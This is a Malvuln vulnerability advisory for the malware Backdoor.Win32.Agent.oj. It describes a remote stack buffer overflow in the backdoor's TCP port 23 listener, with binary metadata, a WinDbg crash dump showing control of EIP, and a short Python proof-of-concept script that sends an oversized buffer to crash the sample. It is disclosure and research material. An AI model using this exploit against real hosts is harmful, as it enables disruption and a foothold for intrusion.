Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c1e92e04cdb432d83ea2610ef226d4cd.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.oj
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 23. Third-party attackers can send a specially crafted payload, triggering a classic stack buffer overflow overwriting ECX, EIP registers.
Type: PE32
MD5: c1e92e04cdb432d83ea2610ef226d4cd
Vuln ID: MVID-2021-0196
Dropped files: 
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 04/29/2021

Memory Dump:
(b18.1c64): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000
eip=41414141 esp=03151660 ebp=03151680 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

0:003> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000
eip=41414141 esp=03151660 ebp=03151680 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

0:003> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe

FAULTING_IP: 
Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+2255
00402255 88443418        mov     byte ptr [esp+esi+18h],al

EXCEPTION_RECORD:  0324f9f4 -- (.exr 0x324f9f4)
ExceptionAddress: 00402255 (Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+0x00002255)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 03250000
Attempt to write to address 03250000

PROCESS_NAME:  Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141 

FOLLOWUP_IP: 
Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+2255
00402255 88443418        mov     byte ptr [esp+esi+18h],al

FAILED_INSTRUCTION_ADDRESS: 
+2255
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  02910b70
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0324fa44 -- (.cxr 0x324fa44)
eax=00000041 ebx=7774e250 ecx=f2b2fa60 edx=0324fdc4 esi=00000144 edi=02910b70
eip=00402255 esp=0324fea4 ebp=743d1e90 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+0x2255:
00402255 88443418        mov     byte ptr [esp+esi+18h],al  ss:002b:03250000=??
Resetting default scope

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 02910b70 to 00402255

FRAME_ONE_INVALID: 1

STACK_TEXT:  
0324fea4 00402255 backdoor_win32_agent_oj+0x2255
0324fea8 02910b70 unknown!unknown+0x0


STACK_COMMAND:  .cxr 000000000324FA44 ; kb ; dds 324fea4 ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  backdoor_win32_agent_oj+2255

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd

IMAGE_NAME:  Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  378468b1

FAILURE_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_agent_oj+2255



Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=23

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PAYLOADOR="A"*2879
    s.send(PAYLOADOR)
    s.close()
    
    print("Backdoor.Win32.Agent.oj / Remote Stack Buffer Overflow")
    print("MD5: c1e92e04cdb432d83ea2610ef226d4cd")
    print("By Malvuln");

if __name__=="__main__":
    doit()


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